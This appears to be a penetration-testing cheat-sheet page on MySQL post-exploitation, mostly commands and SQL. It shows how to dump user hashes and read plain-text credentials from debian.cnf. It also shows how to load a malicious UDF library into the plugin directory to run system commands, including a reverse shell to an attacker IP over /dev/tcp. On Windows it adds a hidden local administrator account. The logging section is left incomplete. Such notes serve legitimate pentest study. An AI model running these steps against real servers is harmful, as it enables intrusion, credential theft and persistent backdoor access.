# POST Exploitation

### Mysql User

It will be very interesting if mysql is running as **root**:

```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```

#### Dangerous Settings of mysqld.cnf

From <https://academy.hackthebox.com/module/112/section/1238>

| **Settings**       | **Description**                                                                                                                           |
| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- |
| `user`             | Sets which user the MySQL service will run as.                                                                                            |
| `password`         | Sets the password for the MySQL user.                                                                                                     |
| `admin_address`    | The IP address on which to listen for TCP/IP connections on the administrative network interface.                                         |
| `debug`            | This variable indicates the current debugging settings (sensitive info inside logs)                                                       |
| `sql_warnings`     | This variable controls whether single-row INSERT statements produce an information string if warnings occur. (sensitive info inside logs) |
| `secure_file_priv` | This variable is used to limit the effect of data import and export operations.                                                           |

### Privilege escalation

```bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```

### Privilege Escalation via library

If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql.

The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need.

If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**:

```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```

Now that you have the library, login inside the Mysql as a privileged user (root?) and follow the next steps:

#### Linux

```sql
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```

#### Windows

```sql
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```

### Extracting MySQL credentials from files

Inside */etc/mysql/debian.cnf* you can find the **plain-text password** of the user **debian-sys-maint**

```bash
cat /etc/mysql/debian.cnf
```

You can **use these credentials to login in the mysql database**.

Inside the file: */var/lib/mysql/mysql/user.MYD* you can find **all the hashes of the MySQL users** (the ones that you can extract from mysql.user inside the database)*.*

You can extract them doing:

```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```

### Enabling logging

You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines:

### Useful files

Configuration Files

* windows \*
  * config.ini
  * my.ini
    * windows\my.ini
    * winnt\my.ini
  * \<InstDir>/mysql/data/
  * unix
    * my.cnf
      * /etc/my.cnf
      * /etc/mysql/my.cnf
      * /var/lib/mysql/my.cnf
      * \~/.my.cnf
      * /etc/my.cnf
* Command History
  * \~/.mysql.history
* Log Files
  * connections.log
  * update.log
  * common.log

{% tabs %}
{% tab title="Untitled" %}

{% endtab %}

{% tab title="information\_schema" %}
ALL\_PLUGINS\
APPLICABLE\_ROLES\
CHARACTER\_SETS\
CHECK\_CONSTRAINTS\
COLLATIONS\
COLLATION\_CHARACTER\_SET\_APPLICABILITY\
COLUMNS\
COLUMN\_PRIVILEGES\
ENABLED\_ROLES\
ENGINES\
EVENTS\
FILES\
GLOBAL\_STATUS\
GLOBAL\_VARIABLES\
KEY\_COLUMN\_USAGE\
KEY\_CACHES\
OPTIMIZER\_TRACE\
PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
REFERENTIAL\_CONSTRAINTS\
ROUTINES\
SCHEMATA\
SCHEMA\_PRIVILEGES\
SESSION\_STATUS\
SESSION\_VARIABLES\
STATISTICS\
SYSTEM\_VARIABLES\
TABLES\
TABLESPACES\
TABLE\_CONSTRAINTS\
TABLE\_PRIVILEGES\
TRIGGERS\
USER\_PRIVILEGES\
VIEWS\
INNODB\_LOCKS\
INNODB\_TRX\
INNODB\_SYS\_DATAFILES\
INNODB\_FT\_CONFIG\
INNODB\_SYS\_VIRTUAL\
INNODB\_CMP\
INNODB\_FT\_BEING\_DELETED\
INNODB\_CMP\_RESET\
INNODB\_CMP\_PER\_INDEX\
INNODB\_CMPMEM\_RESET\
INNODB\_FT\_DELETED\
INNODB\_BUFFER\_PAGE\_LRU\
INNODB\_LOCK\_WAITS\
INNODB\_TEMP\_TABLE\_INFO\
INNODB\_SYS\_INDEXES\
INNODB\_SYS\_TABLES\
INNODB\_SYS\_FIELDS\
INNODB\_CMP\_PER\_INDEX\_RESET\
INNODB\_BUFFER\_PAGE\
INNODB\_FT\_DEFAULT\_STOPWORD\
INNODB\_FT\_INDEX\_TABLE\
INNODB\_FT\_INDEX\_CACHE\
INNODB\_SYS\_TABLESPACES\
INNODB\_METRICS\
INNODB\_SYS\_FOREIGN\_COLS\
INNODB\_CMPMEM\
INNODB\_BUFFER\_POOL\_STATS\
INNODB\_SYS\_COLUMNS\
INNODB\_SYS\_FOREIGN\
INNODB\_SYS\_TABLESTATS\
GEOMETRY\_COLUMNS\
SPATIAL\_REF\_SYS\
CLIENT\_STATISTICS\
INDEX\_STATISTICS\
USER\_STATISTICS\
INNODB\_MUTEXES\
TABLE\_STATISTICS\
INNODB\_TABLESPACES\_ENCRYPTION\
user\_variables\
INNODB\_TABLESPACES\_SCRUBBING\
INNODB\_SYS\_SEMAPHORE\_WAITS
{% endtab %}
{% endtabs %}
